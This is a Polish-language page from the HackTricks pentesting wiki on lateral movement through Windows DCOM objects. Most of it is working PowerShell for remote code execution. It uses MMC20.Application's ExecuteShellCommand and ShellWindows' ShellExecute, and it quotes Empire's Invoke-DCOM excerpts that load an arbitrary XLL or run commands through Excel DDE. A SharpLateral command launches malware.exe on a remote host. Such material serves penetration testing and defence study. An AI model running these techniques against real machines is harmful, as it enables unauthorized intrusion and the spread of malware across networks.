DCOM Exec

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Try Hard Security Group


MMC20.Application

Aby uzyskać więcej informacji na temat tej techniki, sprawdź oryginalny post z https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/

Rozproszony Model Obiektów Składowych (DCOM) prezentuje interesującą zdolność do interakcji opartych na sieci z obiektami. Microsoft udostępnia obszerną dokumentację zarówno dla DCOM, jak i dla Modelu Obiektów Składowych (COM), dostępną tutaj dla DCOM i tutaj dla COM. Listę aplikacji DCOM można uzyskać za pomocą polecenia PowerShell:

Get-CimInstance Win32_DCOMApplication

Obiekt COM, Klasa aplikacji MMC (MMC20.Application), umożliwia skryptowanie operacji wtyczki MMC. Warto zauważyć, że ten obiekt zawiera metodę ExecuteShellCommand w Document.ActiveView. Więcej informacji na temat tej metody można znaleźć tutaj. Sprawdź działanie wykonując:

Ta funkcja ułatwia wykonywanie poleceń przez sieć za pośrednictwem aplikacji DCOM. Aby zdalnie korzystać z DCOM jako administrator, można użyć PowerShell w następujący sposób:

[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))

To polecenie łączy się z aplikacją DCOM i zwraca instancję obiektu COM. Metoda ExecuteShellCommand może być następnie wywołana, aby uruchomić proces na zdalnym hoście. Proces obejmuje następujące kroki:

Sprawdź metody:

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com.Document.ActiveView | Get-Member

Zdobądź zdalne wykonanie kodu (RCE):

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com | Get-Member

# Then just run something like:

ls \\10.10.10.10\c$\Users

ShellWindows & ShellBrowserWindow

Aby uzyskać więcej informacji na temat tej techniki, sprawdź oryginalny post https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/

Obiekt MMC20.Application został zidentyfikowany jako brakujący "LaunchPermissions", domyślnie przyznający dostęp Administratorom. Aby uzyskać więcej szczegółów, można prześledzić wątek tutaj, a zaleca się korzystanie z narzędzia @tiraniddo OleView .NET do filtrowania obiektów bez wyraźnego uprawnienia uruchamiania.

Dwa konkretne obiekty, ShellBrowserWindow i ShellWindows, zostały wyróżnione ze względu na brak wyraźnych uprawnień uruchamiania. Brak wpisu rejestru LaunchPermission pod HKCR:\AppID\{guid} oznacza brak wyraźnych uprawnień.

ShellWindows

Dla ShellWindows, który nie ma ProgID, metody .NET Type.GetTypeFromCLSID i Activator.CreateInstance ułatwiają instancjonowanie obiektu za pomocą jego AppID. Ten proces wykorzystuje OleView .NET do pobrania CLSID dla ShellWindows. Po zainstancjonowaniu, interakcja jest możliwa za pomocą metody WindowsShell.Item, co prowadzi do wywołania metody takiej jak Document.Application.ShellExecute.

Przykładowe polecenia PowerShell zostały dostarczone do instancjonowania obiektu i zdalnego wykonywania poleceń:

$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)

Ruch boczny za pomocą obiektów DCOM Excel

Ruch boczny można osiągnąć, wykorzystując obiekty DCOM Excel. Aby uzyskać szczegółowe informacje, zaleca się przeczytanie dyskusji na temat wykorzystania Excel DDE do ruchu bocznego za pomocą DCOM na blogu Cybereason.

Projekt Empire udostępnia skrypt PowerShell, który demonstruje wykorzystanie Excela do zdalnego wykonania kodu (RCE) poprzez manipulowanie obiektami DCOM. Poniżej znajdują się fragmenty skryptu dostępnego w repozytorium GitHub Empire, prezentujące różne metody nadużywania Excela do RCE:

# Detection of Office version
elseif ($Method -Match "DetectOffice") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$isx64 = [boolean]$obj.Application.ProductCode[21]
Write-Host  $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
}
# Registration of an XLL
elseif ($Method -Match "RegisterXLL") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$obj.Application.RegisterXLL("$DllPath")
}
# Execution of a command via Excel DDE
elseif ($Method -Match "ExcelDDE") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$Obj.DisplayAlerts = $false
$Obj.DDEInitiate("cmd", "/c $Command")
}

Narzędzia automatyzujące ruch boczny

Do automatyzacji tych technik wyróżniono dwa narzędzia:

  • Invoke-DCOM.ps1: Skrypt PowerShell dostarczony przez projekt Empire, który upraszcza wywoływanie różnych metod wykonania kodu na zdalnych maszynach. Skrypt ten jest dostępny w repozytorium GitHub projektu Empire.

  • SharpLateral: Narzędzie przeznaczone do zdalnego wykonywania kodu, które można użyć za pomocą polecenia:

SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe

Narzędzia automatyczne

  • Skrypt Powershell Invoke-DCOM.ps1 umożliwia łatwe wywołanie wszystkich zakomentowanych sposobów wykonania kodu na innych maszynach.

  • Możesz również użyć SharpLateral:

SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe

Odnośniki

Try Hard Security Group

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated